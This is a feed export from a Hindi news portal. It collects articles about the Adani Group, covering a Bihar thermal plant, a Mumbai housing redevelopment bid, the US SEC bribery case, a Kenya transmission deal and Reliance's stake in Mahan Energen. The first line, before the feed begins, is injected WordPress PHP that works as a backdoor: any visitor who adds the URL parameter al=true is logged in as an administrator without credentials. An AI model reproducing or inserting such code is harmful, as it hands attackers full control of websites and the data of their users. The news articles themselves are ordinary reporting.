// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); adaani – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 07 Aug 2025 12:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बिहार में बनेगा 2400 मेगावाट का पावर प्लांट, अडानी ग्रुप करेगा 53,000 करोड़ का निवेश https://pratyushaashakinayikiran.com/?p=176244 Thu, 07 Aug 2025 12:55:00 +0000 https://pratyushaashakinayikiran.com/?p=176244 पटना 

 गौतम अडानी की कंपनी अडानी पावर लिमिटेड ने गुरुवार को एक बड़ी घोषणा की। कंपनी को बिहार में बिजली सप्लाई करने का एक बड़ा मौका मिला है। बिहार स्टेट पावर जेनरेशन कंपनी लिमिटेड (BSPGCL) ने अडानी पावर को एक लेटर ऑफ इंटेंट (LoI) दिया है। इस LoI के अनुसार, अडानी पावर बिहार को 2274 मेगावाट बिजली देगी। यह बिजली भागलपुर जिले में बनने वाले एक नए थर्मल पावर प्रोजेक्ट से आएगी। यह प्रोजेक्ट 2400 मेगावाट का होगा।

कंपनी ने बताया कि यह प्लांट पीरपैंती गांव में बनेगा। इस प्लांट को बनाने में लगभग 3 अरब डॉलर (53 हजार करोड़ रुपये) का निवेश होगा। अडानी पावर ने एक बयान में कहा कि बिजली उत्तरी बिहार पावर डिस्ट्रीब्यूशन कंपनी लिमिटेड (NBPDCL) और दक्षिणी बिहार पावर डिस्ट्रीब्यूशन कंपनी लिमिटेड (SBPDCL) को दी जाएगी। यानी, उत्तरी और दक्षिणी बिहार में इसी प्लांट से बिजली जाएगी। कंपनी को उम्मीद है कि जल्द ही उन्हें औपचारिक लेटर ऑफ अवार्ड (LoA) मिल जाएगा। इसके बाद राज्य सरकार के साथ पावर सप्लाई एग्रीमेंट (PSA) साइन किया जाएगा।

लगाई सबसे कम बोली
कंपनी ने बताया कि LoI एक बोली प्रक्रिया के बाद जारी किया गया। इस बोली में अडानी पावर सबसे कम बोली लगाने वाली कंपनी के रूप में उभरी। अडानी पावर ने 6.075 रुपये प्रति किलोवाट आवर (KWh) की दर से बिजली सप्लाई करने की बात कही है।बिजली एक नए 3×800 मेगावाट के अल्ट्रा-सुपरक्रिटिकल थर्मल प्लांट से आएगी। यह प्लांट डिजाइन, बिल्ड, फाइनेंस, ओन और ऑपरेट (DBFOO) मॉडल के तहत बनेगा। DBFOO मॉडल का मतलब है कि अडानी पावर ही इस प्लांट को डिजाइन करेगी, बनाएगी, इसमें पैसा लगाएगी, इसकी मालिक होगी और इसे चलाएगी भी।

कंपनी ने कहा- उद्योगों को मिलेगा बढ़ावा
अडानी पावर के चीफ एग्जीक्यूटिव ऑफिसर (CEO) एस. बी. ख्यालिया ने कहा, 'हमें बिहार में 2,400 मेगावाट का थर्मल पावर प्रोजेक्ट बनाने और चलाने का मौका मिला है, इससे हम बहुत खुश हैं। हम लगभग 3 अरब डॉलर के निवेश से एक नया प्लांट बनाएंगे। इससे बिहार में उद्योगों को बढ़ावा मिलेगा। हमारा प्लांट आधुनिक होगा और कम प्रदूषण करेगा। हम बिहार को भरोसेमंद, सस्ती और अच्छी क्वालिटी की बिजली देंगे।'

कम प्रदूषण, ज्यादा नौकरी
ख्यालिया ने कहा कि यह प्लांट अल्ट्रा-सुपरक्रिटिकल तकनीक पर आधारित होगा। यह तकनीक कोयले को जलाने की एक आधुनिक तकनीक है, जिससे कम प्रदूषण होता है और बिजली ज्यादा बनती है। अडानी पावर के अनुसार, इस प्रोजेक्ट से निर्माण के दौरान लगभग 10,000 से 12,000 नौकरियां मिलेंगी। जब प्लांट चालू हो जाएगा तो लगभग 3000 लोगों को रोजगार मिलेगा।

कब से होगा शुरू?
कंपनी ने बताया कि प्रोजेक्ट की पहली यूनिट तय तारीख से 48 महीनों के अंदर चालू हो जाएगी। वहीं, आखिरी यूनिट 60 महीनों के अंदर चालू हो जाएगी। यानी करीब 4 से 5 साल में पूरा प्लांट काम करने लगेगा। इस पावर प्लांट के लिए कोयला भारत सरकार की SHAKTI (Scheme for Harnessing and Allocating Koyala Transparently in India) पॉलिसी के तहत मिलेगा।

 

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अडानी ग्रुप ने हासिल किया एक और प्रोजेक्ट, जीती ₹36000Cr की बोली, मुंबई में पूरा करेगी ये काम https://pratyushaashakinayikiran.com/?p=139839 Fri, 14 Mar 2025 05:16:00 +0000 https://pratyushaashakinayikiran.com/?p=139839 मुंबई

दुनिया के टॉप अरबपतियों (World's Top Billionaires) की लिस्ट में शामिल अडानी ग्रुप (Adani Group) के चेयरमैन गौतम अडानी (Gautam Adani) की कंपनी ने मुंबई में एक बड़ी परियोजना के लिए बोली जीती है और ये प्रोजेक्ट 36,000 करोड़ रुपये का है. ये Mumbai की सबसे बड़ी आवास-विकास परियोजनाओं में शामिल है और इसे अडानी प्रॉपर्टीज प्राइवेट लिमिटेड पूरा करेगी.

 अडानी प्रॉपर्टीज ने लगाई सबसे ज्यादा बोली
अडानी ग्रुप की कंपनी Adani Properties Pvt Ltd मुंबई के गोरेगांव वेस्ट स्थित मोतीलाल नगर I, II, III में 143 एकड़ में फैले आवास विकास प्रोजेक्ट में शामिल है. 36,000 करोड़ रुपये की पुनर्विकास परियोजना के लिए अडानी प्रॉपर्टीज (APPL) सबसे अधिक बोली लगाने वाली कंपनी बनकर उभरी, जिसने 3.97 लाख वर्ग मीटर का बिल्टअप एरिया पेश किया. बोली जीतने के बाद अब आवंटन पत्र (LoA) जल्द जारी होने की उम्मीद है.

बॉम्बे हाई कोर्ट ने दी थी अनुमति
बता दें कि बॉम्बे उच्च न्यायालय (Bombay High Court) ने बीते सप्ताहा ही महाराष्ट्र आवास एवं क्षेत्र विकास प्राधिकरण (MHADA) को निर्माण एवं विकास एजेंसी (C&DA) के माध्यम से मोतीलाल नगर को डेवलप करने की अनुमति दे दी. इसके बाद राज्य सरकार की ओर से इसे एक स्पेशल प्रोजेक्ट घोषित किया है, जिस पर MHADA का नियंत्रण है, हालांकि ये एजेंसी के माध्यम से काम कर रही है. परियोजना के तहत म्हाडा के तहत 3,372 आवासीय इकाइयों, 328 पात्र वाणिज्यिक इकाइयों और 1,600 पात्र झुग्गी बस्तियों का पुनर्वास किया जाएगा और अवैध निर्माणों को हटाया जाएगा.

अडानी ग्रुप की दूसरी बड़ी पुनर्विकास योजना
मुंबई के मोतीलाल नगर में 36,000 करोड़ रुपये की पुनर्विकास परियोजना के लिए अडानी समूह सबसे अधिक बोली लगाने वाला बनकर उभरा और ये धारावी पुनर्विकास परियोजना के बाद दूसरा बड़ा प्रोजेक्ट है. गौरतलब है कि भारतीय अरबपति Gautam Adani ने मुंबई के स्लम एरिया धारावी (Dharavi) का प्रोजेक्ट 610 मिलियन डॉलर की बोली लगाकर जीता था और उसी समय नई कंपनी अडानी प्रॉपर्टीज (Adani Properties) बनाई थी. अब इस कंपनी ने दूसरी बड़ी बोली जीती है.

निवासी बोले- पारदर्शिता के साथ हो काम
जब इंडिया टुडे ने मोतीलाल नगर साइट का दौरा किया, तो स्थानीय निवासियों ने कहा कि उन्हें इस बात की जानकारी नहीं थी कि म्हाडा इस परियोजना के लिए निजी डेवलपर को शामिल कर रहा है और अगर इस परियोजना में पारदर्शिता नहीं होगी तो वे विरोध करेंगे. वहीं दूसरी ओर अडानी समूह को पुनर्विकास परियोजना मिलने पर प्रतिक्रिया देते हुए शिवसेना  (उद्धव बाळासाहेब ठाकरे) के विधायक आदित्य ठाकरे ने भी कहा कि परियोजना में पारदर्शिता होनी चाहिए, अगर कोई कमी है तो हम मुद्दे उठाएंगे.

 

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अडानी पर केस चलाने के लिए अमेरिका ने मांगी भारत की मदद, जानिए क्या है मामला https://pratyushaashakinayikiran.com/?p=132382 Wed, 19 Feb 2025 07:46:00 +0000 https://pratyushaashakinayikiran.com/?p=132382 नई दिल्ली
अमेरिका ने गौतम अडानी और उनके भतीजे सागर अडानी सहित ग्रुप के कई टॉप अधिकारियों के खिलाफ मुकदमा चलाने के लिए भारत से मदद मांगी है। रॉयटर्स की एक रिपोर्ट के अनुसार अमेरिका की एजेंसी SEC ने भारत के कानून मंत्रालय से मदद मांगी है। यह मामला शेयरों में कथित हेराफेरी और 26.5 करोड़ डॉलर की घूसखोरी से जुड़ा है। अमेरिका का SEC अडानी ग्रुप की जाँच कर रहा है। SEC ने न्यूयॉर्क की एक अदालत को बताया कि गौतम और सागर अडानी को कोर्ट का नोटिस देने की कोशिश जारी है। दोनों भारत में रहते हैं।

पिछले साल ब्रुकलिन में फेडरल प्रॉसिक्यूटर्स ने अडानी और ग्रुप के कई अधिकारियों पर भारतीय अधिकारियों को रिश्वत देने का आरोप लगाया था। यह रिश्वत अडानी ग्रीन एनर्जी से बिजली खरीदने के लिए दी गई थी। आरोप यह भी था कि अडानी ने अमेरिकी निवेशकों को गुमराह किया। उन्होंने कंपनी के भ्रष्टाचार विरोधी उपायों के बारे में गलत जानकारी दी। अडानी ग्रुप ने इन आरोपों को निराधार बताया है। ग्रुप का कहना है कि वह सभी कानूनी विकल्पों का इस्तेमाल करेगा।

क्या है मामला

SEC ने अपने अभियोग में कहा है कि गौतम अडानी, सागर अदानी और छह अन्य लोगों ने 2020 से 2024 के बीच भारत में सरकारी अधिकारियों को 26.5 करोड़ डॉलर की रिश्वत दी। यह रिश्वत सोलर पावर के फायदेमंद कॉन्ट्रैक्ट हासिल करने के लिए दी गई थी। इन कॉन्ट्रैक्ट से 20 साल में 2 बिलियन डॉलर का मुनाफा होने का अनुमान था।

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अडानी ग्रुप ने केन्या सरकार के साथ एक और बड़ी डील की साइन https://pratyushaashakinayikiran.com/?p=83685 Sun, 13 Oct 2024 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=83685 नई दिल्ली
 गौतम अडानी दुनिया के कई देशों के साथ एक से बढ़कर एक डील कर रहे हैं। अब उन्होंने केन्या सरकार के साथ एक नई डील की है। हालांकि उनकी केन्या के एयरपोर्ट को लेकर हुई डील अभी भी फंसी हुई है। लेकिन नई डील को अडानी का मास्टरस्ट्रोक माना जा रहा है। यह डील 736 मिलियन डॉलर (करीब 6200 करोड़ रुपये) की है।

नई डील के तहत अडानी ग्रुप की कंपनी अडानी एनर्जी केन्या में बिजली ट्रांसमिशन लाइनों का संचालन करेगी। इसके लिए अडानी एनर्जी सॉल्यूशंस लिमिटेड ने केन्या इलेक्ट्रिसिटी ट्रांसमिशन कंपनी लिमिटेड (केट्राको) के साथ एक समझौते पर साइन किए हैं। यह डील 30 वर्षों के लिए हुई है। केन्या के ऊर्जा मामलों के कैबिनेट सचिव ओपियो वांडाई ने इसकी जानकारी दी।

क्या होगा डील में?

मौजूदा समय में केन्या बिजली के संकट से जूझ रहा है। इस डील के मुताबिक अडानी एनर्जी केन्या में प्रमुख ट्रांसमिशन लाइनों और सबस्टेशनों को विकसित करेगी। साथ ही कंपनी वित्तपोषण, निर्माण, संचालन और रखरखाव करेगी। इस प्रोजेक्ट का उद्देश्य विश्वसनीय बिजली सुनिश्चित करने के लिए देश के ट्रांसमिशन इंफ्रास्ट्रक्चर को अपग्रेड करना है।

केन्या सरकार खर्च नहीं करेगी चवन्नी भी

केन्या सरकार इस प्रोजेक्ट पर कोई पैसा खर्च नहीं करेगी। पर कोई वित्तीय व्यय नहीं करेगी। ओपियो वांडाई के अनुसार इस इंफ्रास्ट्रक्चर को विकसित करने के लिए प्रोजेक्ट कंपनी (AESL) लोन और इक्विटी के माध्यम से फंडिंग जुटाएगी। इस रकम को 30 साल की अवधि में चुकाया जाएगा। प्रतिस्पर्धी बोली प्रक्रिया के माध्यम से तय की जाएगी, जिसे केट्राको और AESL द्वारा संयुक्त रूप से संभाला जाएगा। AESL तीन ट्रांसमिशन लाइन और दो सबस्टेशन विकसित करेगी।

अटका हुआ है एयरपोर्ट का संचालन

अडानी ग्रुप का केन्या में यह दूसरा बड़ा प्रोजेक्ट है। इससे पहले यह ग्रुप केन्या के मुख्य एयरपोर्ट के संचालन के लिए डील कर चुका है। हालांकि स्थानीय लोगों के विरोध के बाद प्रस्ताव को रोक दिया गया है। बता दें कि केन्या सरकार ने देश के सबसे बड़े एयरपोर्ट जोमो केन्याटा इंटरनेशनल एयरपोर्ट (JKIA) को अडानी ग्रुप को 30 साल के लिए लीड पर देने की घोषणा की थी। केन्या एविएशन वर्कर्स यूनियन (KAWU) अडानी की इस डील के खिलाफ हैं। इस यूनियन की मांग है कि इस डील को रद्द किया जाए।

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अंबानी ने खरीदी अडानी की कंपनी में बड़ी हिस्सेदारी, जानिए क्या है इसका बिजनस https://pratyushaashakinayikiran.com/?p=49853 Wed, 10 Jul 2024 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=49853 नई दिल्ली
देश के दो सबसे बड़े रईसों मुकेश अंबानी (Mukesh Ambani) और गौतम अडानी (Gautam Adani) के बीच पहली बार प्रत्यक्ष रूप से कोई डील हुई है। अंबानी की कंपनी रिलायंस इंडस्ट्रीज (Reliance Industries) ने अडानी पावर (Adani Power) की सहयोगी कंपनी महान एनर्जन (Mahan Energen) में पांच करोड़ शेयर खरीदे हैं। रिलायंस में एक एक्सचेंज फाइलिंग में यह जानकारी दी। यह डील 50 करोड़ रुपये में हुई है। रिलायंस ने मार्च में इस डील की घोषणा करते हुए महान एनर्जन में 26 फीसदी हिस्सेदारी खरीदने की बात कही थी। अंबानी की कंपनी का कहना है कि उसने यह डील पूरी कर ली है।

साल 2005 में स्थापित महान एनर्जन का मध्य प्रदेश के सिंगरौली जिले में थर्मल प्लांट है। अभी इसकी कैपेसिटी 1200 मेगावाट है। पहले इसका मालिकाना हक एस्सार पावर के पास था। अडानी पावर ने मार्च 2022 में इसे 4,250 रुपये में खरीदा था। महान एनर्जन की वित्तीय वर्ष 2023 में कमाई 2,730.68 करोड़ रुपये रही। इससे पहले 2022 में कंपनी ने 1393.59 करोड़ रुपये और 2021 में 692 करोड़ का रेवेन्यू हासिल किया था। अडानी ग्रुप इस महान एनर्जन की पावर जेनरेशन कैपेसिटी को 4,400 मेगावाट पहुंचाने के लिए करीब 30,000 करोड़ रुपये का निवेश कर रहा है। रिलायंस इंडस्ट्रीज ने इस प्लांट से 500 मेगावाट बिजली के कैप्टिव यूज के लिए एक समझौते पर हस्ताक्षर किए हैं।

अंबानी और अडानी की नेटवर्थ

ब्लूमबर्ग बिलिनेयर इंडेक्स के मुताबिक अंबानी 120 अरब डॉलर की नेटवर्थ के साथ भारत और एशिया के सबसे बड़े रईस हैं। इस साल उनकी नेटवर्थ में 23.8 अरब डॉलर की तेजी आई है और वह दुनिया के अमीरों की लिस्ट में 12वें नंबर पर हैं। दूसरी ओर अडानी की नेटवर्थ 104 अरब डॉलर है। वह भारत और एशिया में अंबानी के बाद दूसरे नंबर पर हैं। इस साल उनकी नेटवर्थ में 19.7 अरब डॉलर की तेजी आई है और वह दुनिया के अमीरों की लिस्ट में 14वें नंबर पर हैं। रिलांयस देश का दूसरा सबसे बड़ा औद्योगिक घराना है जबकि अडानी ग्रुप तीसरे नंबर पर है। दोनों ग्रुप ग्रीन एनर्जी सेक्टर में बड़ा दांव खेल रहे हैं।

 

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